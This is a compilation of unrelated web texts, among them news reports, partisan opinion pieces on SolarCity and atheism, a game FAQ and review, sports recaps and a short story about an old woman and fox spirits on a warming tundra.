to let players use prior knowledge to navigate through a game based around public and hidden social dynamics. Just take a deep breath and hear me out. Much in the same way railroads are often not fun, GM policing is not either. It can get very frustrating contributing to the problem solving and discussion and being constantly interrupted by a GM for using information they may have read about on a certain kingdom or profession. There are players who are self-policing and try their best to limit their comments to only character knowledge and that is great. But for the others, their metagaming is harmless. Navigating a complex intrigue game through a collective imagination is already difficult and the players have a lot of fun figuring out the connections steadily hinted at them. Of course, at a certain point the metagame can become borderline cheating but try to draw the line there and not every time a piece of information may not befit the character.  If there are any other major considerations I have missed, I will update this post with more topics. Intrigue campaigns are what I like to do so I’ll to use this post as a framework for more in-depth discussion on specific aspects of the intrigue campaign.  Advertisements
-Transcript for House GOP unveils new health care plan; still no evidence to support Trump's wiretap accusation  Is this week president trump's moment of truth? 50 days in, he's smashed convention, shocked official Washington, and created a chaotic new Normal in the white house. This week, official Washington poised to strike back. It has been eight days now since the president leveled the explosive charge against president Obama, accusing him of ordering illegal wiretaps against the trump campaign. A claim that president Obama and numerous government officials call flat out untrue. In the eight days, trump has offered zero evidence and refused to answer questions like these from Jonathan Karl. Any proof on the wiretapping? Thank you, press. Thank you, thank you, press. Thank you. Thank you. Please head out behind you. Are you going to provide any proof? Please head out. Now, they've asked trump's justice department to put up the evidence or shoot it down. Deadline, tomorrow. And tomorrow, a key day for president trump's promise to repeal Obama care and replace it with something better. Obamacare is a disaster. We're doing to repeal it and replace it. We're going repeal it and replace it. With something great. Less expensive and far better. We're going have great health care. The amazing thing, it's going to cost, very amazing. It's going to cost the country less and it's going to cost the people less. I mean, how good is that? Better care, lower costs, everyone covered. That is trump's promise. Tomorrow, the independent congressional budget office expected to go public with its assessment on whether the legislation president trump is backing now will meet the promises he made during the  This transcript has been automatically generated and may not be 100% accurate.
-Greetings adventurers!  We hope everyone is enjoying their time in the Forgotten Realms so far. We appreciate all of the feedback you’ve given us over this first week and are actively working to ensure Neverwinter is the best experience possible. We’ve noticed a few common threads the community has brought up that we’d like to address heading into week two.  Why am I experiencing lag?  The short answer is several factors determine network conditions on an individual basis, and since Neverwinter is a living online world, we're still forging the best experience possible to accomodate all of our new players. We ask you to bear with us while we work on lag issues, and appreciate your continued feedback.  What are the steps to creating a Guild?  Your entire party of five must be level 15 or above and in the same instance of Protector’s Enclave. Once those requirements are met, the leader will name the guild and all players will enjoy guild privileges including guild bank slots*, a guild tag, and guild chat.  *Only allow your most trusted guild members access to your guild’s bank as they will have complete control of its contents after access is granted.  What is invoking and how do I do it?  Invoke early, invoke often. Invoking allows players to earn a small bonus of experience, consumables, and Astral Diamonds every hour. While near a campfire or after using a portable altar, press LB + right on the d-pad to gain this hourly bonus.  Will there be maintenance every week? What occurs during maintenance?  Every Tuesday, Neverwinter will close its gates to all users for a brief period of time; usually around two hours. During maintenance, the team at Cryptic Studios applies game patches, optimizes backend processes, and ensures that nothing has gone wrong since the last week’s maintenance period. Watch our @NeverwinterGame for the latest maintenance updates.  I want to focus on Dungeons & Skirmishes, I don’t want to wait in a queue. What’s the best way to prioritize them?  In game, pull up chat using LB + down on the d-pad. Once chat is open, change your channel with RB & LB to [Looking For Group]. Now just type your next objective into chat with your controller, keyboard, or Smart Glass and you'll surely find a group of goal-oriented adventurers in no time. You can also try using the hashtag #NWXboxLFG on Twitter or use our forums http://bit.ly/1HIyTxD to build a party for maximum skirmishing/dungeoneering efficiency!  How does the Astral Diamond Exchange work?  Neverwinter’s Astral Diamond Exchange allows players to exchange Zen with Astral Diamonds and vice versa. Players have a range of top currency exchange rates to choose from exchange the currencies, or they may determine their own amount. These player determined exchanges cause game-wide rates to fluctuate. The best way to maximize your currency exchange is by watching for in-game economy trends and keeping an eye on the rates. The exchange can be found by pressing the Menu button, selecting the Store tab, then choosing Astral Diamond Exchange. Some exchanges may not happen instantly, so please be patient while the exchange occurs.  I’m level 60, or will be soon; what now?  Tyranny of Dragons is a huge campaign and includes a ton of highly replayable content. Once your adventurer reaches level 26, simply select "Campaign" under the Start menu's Quests tab to begin the Tyranny of Dragons. Players can look forward to half a dozen deadly encounters with dragons including a showdown in the Lair of Lostmauth; unique, class-specific Draconic gear and Infernal armor that provides magical bonuses when worn as a full set; as well as rare artifacts and weapons only available by completing Tyranny of Dragon content. For a more in-depth breakdown of the Tyranny of Dragons loot and content check out the Neverwinter wiki.  Further optimize your endgame experience by visiting Rhix and the Dungeon Key Master before tackling any quests each day. Also, don’t forget to invoke! Before you depart Protector’s Enclave, party up with some friends or Guildmates, then select your favorite Epic Dungeon, Skirmish, or Heroic/Daily for a chance at Tyranny of Dragons loot, the highest tiered loot currently available in Neverwinter!  Why can’t I stop playing Neverwinter?  Evil doesn’t rest, so neither should you! Please, adventure responsibly.
-Disgraced former Oregon Gov. John Kitzhaber isn’t the only big name caught up in the emerging green energy scandal in the Pacific Northwest: SolarCity, the brainchild of billionaire corporate welfare queen Elon Musk, was also heavily involved in some of Kitzhaber’s shady schemes. According to an extensive investigation by The Oregonian, a local paper, this particular scheme had it all: political corruption, broken deal terms, and $0.93/hour prison labor.  According to The Oregonian’s investigation, it all started with a $27 million solar array project for the Oregon Institute of Technology and Oregon State University. The project brought with it $12 million in tax credits. After the first vendor brought in by the state filed for bankruptcy, Oregon turned to two companies for help — SolarWorld and its bitter rival, Elon Musk’s SolarCity. SolarCity would oversee the project and do the local engineering and installation work. The two firms were expected to buy and hire locally in order to goose the regional economy and create high-paying area jobs.  But that’s not what happened.  SolarWorld, which made a name for itself by manufacturing its products in the U.S. instead of using cheap, overseas labor like SolarCity did, was unable to handle the scope of work (UPDATE: a SolarWorld rep e-mailed The Federalist after this article was initially published and took issue with this characterization, claiming that rather than SolarWorld being unable to handle the project, SolarCity canceled the contract in retaliation for SolarWorld winning a high-profile trade case against SolarCity). In order to save the project, and its $12 million in tax credits, Elon Musk’s SolarCity stepped in to complete the project by itself. And how did SolarCity go about its work? By hiring prison labor at the rate of $0.93 per hour, roughly one-tenth of the state’s current minimum wage in 2013 of $8.95 per hour:  Firing SolarWorld was just business, said Will Craven, SolarCity spokesman.  But if workers in Hillsboro weren’t going to make the state’s panels, who would?  Shain assured state officials that SolarCity had found “alternative modules of U.S. manufacture, and very possible Oregon manufacture.”  SolarCity’s alternative: Prison labor.  SolarCity told government officials it would use local labor, but it never informed them that it would be using incarcerated local labor instead of trained technicians who generally earn upwards of $11 per hour:  According to The Oregonian:  Under a subcontractor, Norcross, Georgia-based Suniva, the panel work went behind the walls at the Federal Correctional Institute in Sheridan. Inmates paid 93 cents an hour assembled the panels. That was in contrast to SolarWorld factory pay — $11 an hour to start.  Craven acknowledged that using inmate labor “may not have been in the spirit” of the tax credit program. He said state officials knew prisoners were involved.  State officials said they were unaware of the inmate component until questioned recently by The Oregonian/OregonLive.  “They used inmates?” Simonton asked. “That’s unfortunate.”  While it may be unfortunate, it is not even remotely surprising given the involvement of an Elon Musk company. Yes, he is remarkably successful. He’s built a huge car company, a huge space company, and a huge solar energy company. What he hasn’t done is build any of those companies without massive taxpayer subsidies.  Tesla depends on federal electric car subsidies, to the tune of $7,500 per vehicle, as well as government-enabled zero emission vehicle credits. SpaceX depends on large government procurement contracts. And SolarCity depends on renewable energy mandates that force states to go in search of “alternative” energy sources that are expensive and economically unsustainable. But that’s not enough, apparently. Elon Musk’s SolarCity also felt compelled to use $0.93/hour government jail jobs for its labor needs.  And even with all that — the subsidies, the mandates, the contracts, and the cut-rate prison labor — Elon Musk’s companies still can’t consistently make money. Tesla has never turned an annual profit, but it had racked up an accumulated $1.4 billion in losses by the end of 2014. The same goes for SolarCity, which had generated more than a quarter billion dollars in accumulated losses through the end of last year. While SpaceX is rumored to be profitable, it’s hard to believe it got there without tens of millions of taxpayer dollars in the form of Pentagon and NASA procurement contracts (because SpaceX is a private company and is not required to publicly release its financials, its profitability claim cannot be independently verified).  There’s nothing inherently wrong with using prison labor, but there’s something super sketchy about a billionaire corporate welfare queen using incarcerated contractors in order to skirt the local hiring requirements of a lucrative taxpayer-funded project. Elon Musk may be a huge fan of hiring taxpayer subsidies, but it turns that at least one of his companies is not so keen on hiring actual taxpayers.
-In a report for Thursday’s NBC Today about Bill Clinton saying he would stop giving paid speeches if Hillary was elected president, correspondent Andrea Mitchell lamented: “The charity has been lauded for its good works but both Clintons are being hounded by questions about potential conflicts of interest from donors and high-dollar speeches.”  Mitchell touted the former President’s denials of corruption: “Clinton also denied doing favors for foreign governments or other donors to the foundation, telling CNN, ‘No one has ever asked me for anything. And I don't think Hillary would know either. I never saw her study a list of my contributors, and I had no idea who was doing business before the State Department.’”  Mitchell then wondered: “Will that be enough to quiet critics?” A soundbite followed of former Obama adviser and NBC New senior political analyst David Axelrod declaring: “This issue won't go away because the Republican Party won't allow it to go away. And I suspect we'll be hearing about it from now until the election.”  The implication being that the issue was merely a partisan attack rather than a legitimate controversy that journalists should keep investigating. No Republicans were featured in the segment.  Wrapping up the report, Mitchell gushed: “Bill Clinton will be a key surrogate for his wife, who has yet to do an interview since declaring her candidacy. In his interview with CNN, Bill Clinton described Hillary Clinton warmly, saying, ‘Whenever I had trouble she was the rock in the family.’” Co-host Savannah Guthrie added: “Alright, well she's got his vote, that’s for sure.”  ABC’s Good Morning America completely ignored Bill Clinton’s comments about the Clinton Foundation. CBS This Morning only briefly noted the development and touted the former President “defending his family’s foundation.”  Here is a full transcript of the June 11 segment:
-.- The cardinals and bishops who attended Pope Benedict XVI’s last big public appearance made sure to show him their love and respect, but it was a hard moment as well.  “There was a touch of sadness as when one sees a person for the very last time,” said Archbishop Rino Fisichella after the Pope’s last general audience.  “Bishops and cardinals have shown a lot of respect, love and affection towards him here today,” he told CNA Feb. 27.  Around 200,000 people from all over the world came to St. Peter’s Square to see Pope Benedict for the last time before he steps down as Pope tomorrow evening.  Archbishop Fisichella, who is president of the Pontifical Council for the Promotion of New Evangelization, said that the audience was important in two ways.  “The first is the great humanity of the Holy Father because he has spoken about his suffering in taking this decision, but it has also been a big experience of faith,” the archbishop observed.  “The living Church embraces the Holy Father and manifests its love, but it’s an experience of faith.  “We have the certainty that the Holy Spirit is with us, and so is the Holy Father with his resignation, but he is present among us with his prayer and his presence.  Archbishop Fisichella sees Pope Benedict has given “a testimony of faith and big hope to the whole Church” during his papacy.  “With his testimony and his teaching, which has a very rich deepness, and with his live presence, prayer, and silence – which talks about true prayer that we need to give to God – he will continue to help the Year of Faith,” he affirmed.
-The Arizona Cardinals will see some movement in practice on the offensive line this week. With right tackle Bobby Massie's status still unknown for the start of the season, the team is giving a couple of players the chance to compete for playing time while he is out.  Bradley Sowell worked on the first team all last week and started at right tackle. This week, Earl Watford is getting time at right tackle to compete for the starting spot in Massie's absence.  "I want Earl to get a bunch of snaps this week at right tackle and battle for the job," Arians said. "He's earned the right to battle for a starting job." Watford practiced for the last week or so on a bad ankle, so Arians had not opened up that job. Watford had an ankle injection and sat out practice Monday. With a day off Tuesday, the coaching staff will get to see him and whether he can overtake Sowell.  First round pick D.J. Humphries, who has been working at right tackle all offseason, is moving over to left tackle on the second team to work. "He hasn't had any work (at LT) since he's been here," said Arians, who wanted him to get some time there, "in case he ends up being a swing tackle for us."  Arians said it shouldn't take long for Humphries to get acclimated to the left side again, as it is his natural position.  As for what the situation is with Massie and where he stands in terms of the job at right tackle, Arians made it clear on the radio on Monday Massie is the starter once he is back from whatever discipline the league gives him. The team has not yet heard exactly what that will be. It is reportedly three games, but Massie has appealed it.
-Rocker Gary Glitter Jailed For 16 Years For Child Sex Abuse  Enlarge this image toggle caption Elizabeth Cook /PA Photos/Landov Elizabeth Cook /PA Photos/Landov  Rocker Gary Glitter, best known for the stadium rock anthem "Rock & Roll (Part 2)," was sentenced to 16 years in prison for sex offenses during the 1970s and '80s against three girls between the ages of 8 and 13.  Glitter, whose real name is Paul Gadd, was sentenced today for attempted rape, four counts of indecent assault and one of having sex with a girl under 13, the BBC reports. A jury found the 70-year-old guilty of the charges on Feb. 5, and Judge Alistair McCreath said then that Glitter would remain jailed until his sentencing.  "You did all of them real and lasting damage, and you did so for no other reason than to obtain sexual gratification for yourself of a wholly improper kind," McCreath said today.  The judge said that despite the seriousness of the crimes, he was permitted to use only the more lenient guidelines of the '70s and '80s while sentencing Glitter. For example, the charge of having sex with a child under 13 carries a life sentence today, but carried a seven-year sentence at that time.  Glitter, 70, showed no emotion as he left the dock, the BBC noted. As we have previously reported, Glitter had denied the allegations.  He was convicted of child sex abuse in 2006 in Vietnam and sentenced to three years in prison. In 1999, he was convicted of possessing as many as 4,000 images of child abuse and jailed for four months.  Glitter was the first person to be arrested as part of the British investigation into allegations of child abuse against the late BBC television host Jimmy Savile.
-In my preview for the Battery’s match against Toronto FC II last weekend, I said that the magic number was five… and I was off by one. TFC II had only scored 5 goals all season and the Battery ended up tying their goal total for the entire season in one night with 6 total goals (TFCII scored one to take their total to six).  This was a spectacular game for the Battery for many reasons. They stayed on top of the USL Eastern Conference and, with Louisville and Rochester pressing, Charleston put distance between other teams who have played less games passing them in the standings.  Also the Battery now leads the league in scoring with 34 goals (Real Monarchs sit in 2nd with 33). Super Romario Williams jumped to the top of the individual scoring list with his 12th and 13th goals of the season, and with Dante Marini scoring, the Battery have seen eight different players score this season, six scoring more than once.  The Game  To be honest, Toronto FC II should have never stepped on the same field Saturday night. They did have a few chances in the early going, but they were outplayed for the majority of the match and looked more like a JV squad then a Division II professional squad.  The skill level and physical play of the Battery were way too much for TFC II to handle.  The Battery found the back of the net in the 31st minute when Maikel Chang’s corner found its way to Super Romario Williams, and he finished his 12th goal of the season.  11 minutes later, my Player to Watch Forrest Lasso scored his 6th goal of the season and proved once again that on a set piece against the Battery, you have to find a way to try and shut down Lasso.  Many teams have tried but most have failed and when TFCII couldn’t shut him down they found themselves down 2–0 going into the half.  A Second Half Slaughter  When the second half started, I thought TFC II would come out quickly and try to find a way back into the game, but even if that was the plan, it was not going to happen.  The Battery ended up having one of their best halves of the entire season.  It all started when Super Romario scored his 2nd of the night and league leading 13th for the season in the 51st.  He would end up taking a spot in the USL Team of the Week for the 3rd time this season.  Seven minutes later outside midfielder Dante Marini scored his first goal of the season.  The goal is up for USL Goal of the Week and you can vote HERE and help Dante win!  TFCII would get one goal back in the 68th minute from a beautiful diving header on the back post but it would be the only bright spot on the night for the boys from Canada.  Charleston did not wait long to dash any hopes of a crazy come back. Six minutes after TFCII scored Marini put away his second goal of the night.  This time Super Romario found him for Williams’ 2nd assist of the season. Battery supporters, myself included, are hopeful that Williams’ assist numbers will start to grow quickly as many clubs are starting to double team him in the box. This should open some players up the passing lanes for Williams.  The final nail in the coffin was a beauty! Set piece specialist Justin Portillo stepped up and put away another free kick in stoppage time and when the final whistle blew, the Battery won 6–1.  This was a game every Battery supporter will remember for a while. It is not everyday you go to a soccer match and see seven goals scored.
-While left-wing bloggers insist the next Supreme Court justice should be an atheist and Psychology Today publishes an article on “Why Atheists Are More Intelligent than the Religious,” occupying anti-religion’s center stage today are best-selling authors Richard Dawkins (“The God Delusion”) and Christopher Hitchens (“God Is Not Great”).  The world’s two most well-known atheists are seriously calling for the arrest of Pope Benedict XVI “for crimes against humanity” for what they allege is his complicity in covering up sexual abuse on the part of Catholic clergymen.  They’ve retained top U.K. lawyers Geoffrey Robertson and Mark Stephens to cook up a legal process enabling British authorities “to initiate criminal proceedings against the pope, launch their own civil action against him or refer his case to the International Criminal Court,” the Times of London tells us.  No question about it, atheism is rapidly undergoing a remarkable transformation right before our eyes.  Somehow, in recent years, atheists have gone from being a near-invisible pariah class on the fringe of civilized society to a confident, unapologetic and increasingly vocal minority, publishing best-seller after best-seller condemning and mocking religion. To give you a taste, here’s the opening sentence of chapter two of Dawkins’ “The God Delusion”:  The God of the Old Testament is arguably the most unpleasant character in all fiction: jealous and proud of it; a petty, unjust, unforgiving control-freak; a vindictive, bloodthirsty ethnic cleanser; a misogynistic, homophobic, racist, infanticidal, genocidal, filicidal, pestilential, megalomaniacal, sadomasochistic, capriciously malevolent bully.  That’s just the beginning. Atheism is currently coalescing into a genuine political force, its adherents comparing their “plight” to that of gays combating “discrimination.” The evidence is hard to miss:  Atheism, just like homosexuality – once considered shameful by the larger culture – is now becoming hip, sophisticated, even a badge of honor.  Exit-polling data clearly indicate atheists’ numbers are growing dramatically. “The bloc of voters identifying themselves as religiously unaffiliated – which does not directly translate into nonbelievers but includes their ranks – has risen in every presidential election since 1988: from 5.3 percent that year to 12 percent in 2008,” writes Paul Starobin in the non-partisan National Journal. “That 12 percent share amounts to 15 million voters – a bigger bloc than the Hispanic vote (9 percent), the gay vote (4 percent), and the Jewish vote (2 percent), and just a notch smaller than the African-American vote (13 percent).”  Even more impressive is the data compiled by Roger Finke, a Pennsylvania State University professor who directs the Association of Religion Data Archives:  The share of Americans who report no religious preference hovered around the 5-to-6 percent level from the early 1970s through the 1980s, jumped to 9 percent in 1993, rose to 14 percent in 1998, and is now about 16 percent. … By that count, the no-preference bloc is nearly equal to the share of mainline Protestant churches, from which it is probably poaching members.  Until recently, atheists had zero political clout, having to content themselves with being more of an “intellectual club,” the Journal report says, “reflecting on the meaning of a life without God (and the patent absurdity, as many of these folks think, of a life with God). But those days are over.”  Now the Godless are making a crucial transformation toward the status of a my-time-has-come movement with a political and legislative agenda to enact – and with this shift, a host of contentious national issues is being engaged, with the potential to ignite a new round of culture wars in American society.  Today’s atheist activists “liken their strategy to that of the gay-rights movement,” adds the New York Times, “which lifted off when closeted members of a scorned minority decided to go public.”  “It’s not about carrying banners or protesting,” said Herb Silverman, a math professor at the College of Charleston who founded the Secular Humanists of the Lowcountry, which has about 150 members on the coast of the Carolinas. “The most important thing is coming out of the closet.”  In fact, just as homosexuals co-opted the word “gay” to facilitate their cultural and political mainstreaming, atheists have adopted their own euphemistic label, many now calling themselves “brights.”  And how, exactly, do atheists want to change American society and government?  “The end result,” atheists claim, would be “a more peaceful and modern society,” reports the National Journal, since presumably our nation would be “less willing to embark on violent conflicts of a religious character” such as those in Iraq and Afghanistan. Euthanasia would be widely permitted – no ethical problems there. Pharmacists couldn’t legally refuse to fulfill birth-control prescriptions (or, presumably, chemical abortion prescriptions either) as a matter of conscience or religious faith. School science classes would be prohibited from teaching anything about the origins of life except evolution – no mention of “intelligent design” allowed. And “the Boy Scouts would lose all forms of federal support for teaching that a good Scout has a ‘duty to God.'”  It gets even more controversial. At least some influential atheists reportedly want to clone humans. “In a sign of the culture warfare to come,” reports Starobin, atheists are “emerging as an enthusiastic voice on behalf of scientific efforts to clone human beings, a technology with the potential to ‘conquer mortality.'” Seeing themselves as very pro-science, atheists “tend to think that mindless religious scruples prevent the development of such techniques as cloning that could extend the boundaries of human life.”  As I explain in my new book “How Evil Works,” the astonishing spectacle we are witnessing today – from the upsurge in militant atheism and pagan religions, to the overflowing toxic sewer of popular culture, to the attempted socialist coup d’etat in Washington, D.C. – is the utterly predictable, inevitable result of abandoning our nation’s core principles, otherwise known as Judeo-Christian values.  A couple of generations ago, almost all of America believed a few basic things: that there is a God, that He’s the God of the Bible, and that the Ten Commandments and the Sermon on the Mount are the basis for a good life and a great society; that human beings are made in God’s image (so we don’t kill little babies before they’re born); that sex is sacred and reserved only for marriage. These and a few other common values, which formed the moral foundation of Western civilization for millennia and American civilization for centuries, gave life and strength to our nation and unity to our people.  Then, we were seduced into abandoning those few, innocent, shining truths. We were persuaded and intimidated into thinking they were old-fashioned, superstitious and repressive. Remember how Barack Obama referred to the Bible’s censure of homosexuality, dismissing the moral principles held as sacred by virtually all of America’s founders as “worn arguments and old attitudes”?  As most readers already recognize, America as we know it is being destroyed – or as Obama put it five days before the 2008 election, “fundamentally transformed.” But this didn’t start with Obama, his regime being just the latest phase of a long-term assault on the transcendent moral foundation of America. The termites have been voraciously boring at our ground floor, largely out of view, for decades.  There is unquestionably a way back, which I explore in-depth in “How Evil Works.” It will not be easy, but it can be done. However, if I may offer a friendly warning, there are also many ways of fighting back that, while making us feel good and righteous, serve only to make things worse, perhaps much worse. I spent a very long time sorting all this out and translating it into plain, simple English in “How Evil Works,” and I sincerely commend it to you.
-Turn 10 turns a new leaf  Although I used to play racing games for hundreds of hours, it really takes something special to get me hooked again. Recently, after the somewhat rushed release of Forza 5, I naturally gravitated toward other racers, including the Horizon series.  But even still, I wasn't crazy about them. That is, until I played Forza Motorsport 6.  Forza Motorsport 6 (Xbox One)  Developer: Turn 10 Studios  Publisher: Microsoft Studios  Release Date: September 15, 2015  MSRP: $59.99  After a few minutes with the 2017 Ford GT in the tutorial (which is actually rather affordable in-game), you'll kick off three qualifying matches, which subsequently unlock the rest of the game. I started with a modest '97 Mazda RX7, with a small degree of CPU assistance to get my bearings again.  This is probably my favorite part of Forza -- yes, it's a simulator, but you can fine-tune the experience to cater to your needs. If you haven't touched a racer in years, the game can show you exactly where to take turns with arrow paths on the ground that change colors based on the appropriate speed. You can also have Forza operate your braking procedures for you, so you won't fly off course or crash into walls all that often. Of course, the excellent rewind feature is back, so you can re-do a fateful turn that may have cost you the race.  If you disable all of these options though, it's probably the most advanced racing simulator yet. The Xbox One controller is still by far the best standard controller for racers, with the nuanced haptic feedback system actually providing kickback. I also had an opportunity to play Forza 6 with the Logitech's G29 Driving Force, and my experience far surpassed that of its PS4 counterparts. If you've been waiting to pick up a wheel, this is probably the game to do it with.  The Drivatar system also returns, which, as we know at this point, is less a gimmick and more of a proven idea. What's amazing about this mechanic is that we've had data collected for years from Forza 5 and Horizon 2, so when I jumped into Forza 6, I was immediately greeted by these AI/player combo drivers. They're still just as fun to race against as they were in the past, mostly because of erratic behavior that separates them from the orderly AI.  The visual enhancements of Forza 5 have been perfected, up to and including the working odometer for each car interior. The game is still 1080p60, but the level of detail on tracks (which Forza 6 has a lot more of) is insane. This is heightened by the research Turn 10 did on the effect of rain on each track, and as a result, puddles form exactly where they would in real life. It really forces you to know (and trust) your vehicle, and you'll have to not only learn each track's ins and outs, but the rain element as well. Sometimes I found that I could sprint over it at certain angles, and in other instances, I hydroplaned the crap out of my car. Sim fans will love that they have to master yet another element of each track, even if they're already familiar.  The flow of Forza 6 involves a career mode, separated by street, sport, touring, pro, and ultimate tiers. The concept here to break up the relatively standard career is "Stories of Motorsport," a loving tribute to historical races mixed in with other gamey challenges. I'm talking showcase events like racing an IndyCar at the Indianapolis Motor Speedway taking curves at over 200 mph, reliving the birth of Grand Prix racing, bowling for pins, or going up against The Stig from Top Gear. Speaking of Top Gear, it does return in a minimal capacity, but the lack of Jeremy Clarkson stings a bit.  Although I had limited access to multiplayer, there is support for up to 24 players across seven modes, including your standard race setting and tag. There's also league support and a free-play mode that supports split-screen play. If you're interested in trying out any car you want, you can rent it without a charge to in-game currency -- you just won't get any experience for that race.  So let's talk cars and tracks. Straight-up, Forza 6 feels like a more complete game, hosting over 450 vehicles at launch (without paid DLC), as opposed to Forza 5's roughly 200. You can still tune them up, customize their look, and download/upload new patterns -- of which there are hundreds, spanning multiple games at this point. The running theme with Forza 6 is that it's very easy to pick up for newcomers, since it basically functions as a new game and a "GOTY" edition of sorts, sporting tons of content from past titles without resorting to add-ons. This is partially because Turn 10 brought back the prize wheel from Horizon 2, which allows players to randomly earn a prize after leveling up, up to and including million-credit cars.  Even though I only earned a supercar once, the other rewards are generally pretty great, so I still felt like I was progressing credits-wise. And this leads into another important element of Forza 6 -- there are no microtransactions to speak of, at least at launch. If you can't buy a car with your credits, tough, you'll have to earn them. This also goes for the new "mod" system, which kind of plays out like Titanfall's Burn Cards. You can activate one-use mods to better your handling or grip after buying packs of mods, or take "dares," which are like challenges of sorts, which provide their own rewards. Again, this thankfully doesn't feel necessary (it isn't even enabled online), and it's not linked to a microtransaction system...yet.  There are also 25 tracks, each with multiple variations, which kicks Forza 5's 14 to the curb. With the aforementioned new details (especially with refreshing levels like Rio de Janeiro, which hasn't appeared since the first game) and the new rain, even the old ones feel new. Despite a lot of these upgrades, Forza 6 does feel somewhat like an apology letter for the last main iteration. It's important to note that if you don't really love the idea of reworked rain effects, you probably won't find a whole lot that's fundamentally new outside of the fact that there's just more to do in general.  For me though, it was enough to outright bring me back into the racing fold. I found myself racing for hours, racking up credits, ferociously buying new cars to add to my garage, and cursing at my friend's Drivatars. Forza 6 is the new king of simulation racing.  [This review is based on a retail build of the game provided by the publisher.]  You are logged out. Login | Sign up  Forza Motorsport 6 reviewed by Chris Carter
-The year the world changed forever was the year the foxes changed colour. Well, it didn’t happen as quickly as that, within a single season, but it might as well have. One year they were white, the next they were red. Bigger too, and bolder. Out on the tundra she called home, a long way from any other living soul, the old woman known as Aapia found a red fox carcass, its belly slashed and open to the cold skies. She took the carcass home and made a coat from its fur. In the old days, its russet blaze would have been fatal for hunting, but the snow had gone along with the white foxes.  The last white fox was shot as a pest by a man from the concrete town to the south. The old woman was out gathering fernweed when she sensed the fatal shot. She felt the frantic pulse of the fox’s heart as it lay in the mud, its fur turning slowly red and then black. Her fury rose at this witless slaughter. She reached out across the plains, inside the bloody bower of the fox’s ribcage and she scooped up its spirit and brought it back to her house. The spirit shivered, frail and confused to find itself within four walls. Seeing its terror, Aapia thought about killing the man. But he was far away. Instead, she sent a battalion of snow geese. The geese took up her anger. They pursued the man across the concrete town, diving and swiping at his head, screeching the old woman’s rage.  That same spring, the camera people returned.  * * *  They had first appeared ten years before. Aapia was younger then, although age was beginning to make itself felt, and she had the dogs. They were a pack of six, grey and tan and white, with powerful torsos and eager tongues. They bundled about her, barking excitedly as she listened to the camera people’s spiel. They wanted to make a documentary. It was to do with the ice, they said. It was to do with the oil. They were looking for personal stories - only that could make a difference to the collective global mindset. Could they have her personal story?  Aapia was not convinced they knew much about stories, and asked why they wanted hers.  She was the last, they said. Genealogically. They had done studies. Her voice would be valuable.  But Aapia did not wish to be in a documentary, and the camera people went away disappointed, to search the tundra for other tales.  * * *  Ten years on, the mission of the camera people had not changed. They spoke earnestly about their cause. They asked about Aapia’s dogs. What had happened to them. She told them the dogs were gone. Without snow, there was no sled, and without sled, there was no purpose for the dogs. She had buried them one by one, their howls cast to the winds, their meat wasted to bone in the unyielding earth. She had hoped that the dogs’ spirits would stay with her, although she did not tell the camera people that. How she missed their warmth. Their solidity. The dogs had gone wandering in search of their ancestors, or so she guessed.  The camera people wanted to photograph the sled, unaware that the white fox’s spirit was perched on the runners, watching them suspiciously. The white fox was suspicious of all people now, except for the old woman. Even with Aapia it was prone to melancholy, having realized that none other of its kindred were trapped in the hinterland between life and what lay beyond it. The camera people said the sled was an iconic example of how rising temperatures had wiped out indigenous culture. They wanted to know the word for sled. For the dogs. For snow. Oh, I don’t speak that old language, she told them. They looked mournful then.  They would be back again next year, they said, and they left on a quest to find white hares. The old woman could have told them this was a fool’s errand, but they would not have listened.  * * *  The spirit of the white fox was good company for Aapia. During the day the white fox curled up in the embers of the stove, and at night it went out through the chimney in a silken whisper, to run among the stars. It was not a dog, but it was somewhere close. But then something happened to upset their balance.  The man from the town had not learned his lesson. The following spring he shot another fox, a red one. Once again Aapia reached out over the plains to collect the fox’s spirit and bring it home. Once again, she sent the geese to punish the murderer. This time she dispatched a goshawk alongside them, although the geese did not appreciate this intervention as much as she had intended.  The old woman thought the red fox would be a companion to the white, but her second rescue was not so successful as the first. The white fox was aggrieved to find itself billeted with its genocidal cousin, and the red fox proved unruly. It tumbled through the house, causing disturbances in the air and sudden breezes that knocked the old woman’s possessions from shelves and made the windows rattle in their frames. The white fox, convinced that the red fox had eaten her brother during their time amongst the living, fell into a terrible depression and refused to come out from behind the stove. In the end Aapia was forced to banish the red fox from the house. The red fox, not particularly upset, took up residence in the sled outside.  One morning, not long after the cotton grass had flowered, the old woman woke up to find a dozen foxes outside her door. They had come to complain about the antics of the red fox spirit. The red fox had been playing tricks on its living brethren, swooping into burrows to tickle the paws of terrified kits, conjuring winds to scare rodents at the moment of the pounce, and stealing slivers of the northern lights to disorientate migrating birds. As the sun rose higher, the number of complainants grew. The white fox spirit sat beside the old woman, grooming its beautiful tail. I told you it was trouble, said the white fox. There was a certain smugness to the white fox now.  Other animals joined the congregation. Aapia began to feel guilty. Perhaps she should not have brought the fox spirits home. But she had been lonely.  The camera people arrived next, drawn by the spectacle of hundreds of foxes. Where had they come from? Why were they flocking to the old woman? A great grey owl landed in a flurry, furious because the red fox spirit had been singing to its embryo chicks in their eggs, describing how it would eat them when they hatched.  The camera people went crazy when they saw the owl. Abroad in daylight! What a thing! Well, the old woman could hardly tell them that this was a parliament. They would never understand. She went inside and shut the door. The red fox spirit danced gleefully on the roof of the house and the fox parliament began to yip in an angry chorus. The camera people filmed the scene, but after a while the yipping and the stink of a hundred foxes was too much even in the pursuit of science. When the great grey owl raised its wings and lofted into the air, they sent a drone in its wake, running clumsily after it on foot.  * * *  With the onset of winter, the red fox calmed. The cold made it drowsy, and docile. The white fox patrolled the skies at night in search of snow to roll in. Finding none, it returned to the house. An uneasy truce settled between the two foxes. They lay at the feet of the old woman as she made cowberry jam, and Aapia felt the shiver of their spirits against her calves.  The last spring that the camera people came, they brought news. A mine was to be built, and around it a town. It would be much nearer than the concrete town to the south, and larger too. Industry was coming to the region. Hearing this, the old woman felt suddenly very tired. She thought of the man who had shot the two foxes, and imagined him multiplied a thousand fold.  The camera people asked once again if they could have her story. She was the last, they reminded her. They were obsessed with this idea, the last of things. And yet they could not see that the last of the white foxes was right under their noses, sitting in the embers of the stove, surveying them quietly. The white fox, hearing talk of the mine, gave a mournful yip. It did not like change. It was already in a gloomy state, having tried switching its coat to all manner of colours in an attempt to keep up with the changing tundra, but without success.  The camera people pleaded with the old woman. In the end she consented to be filmed. The camera people were delighted. They set up their tripod and boom, trained their lenses upon her. But when the time came to speak, Aapia found she had nothing to say. What words could she offer? How could she describe the sadness of the white fox spirit when it could not find snow, or the feckless glee of the red? She sat, and the camera people filmed, and she said nothing. She thought they would be disappointed, but found that nothing could 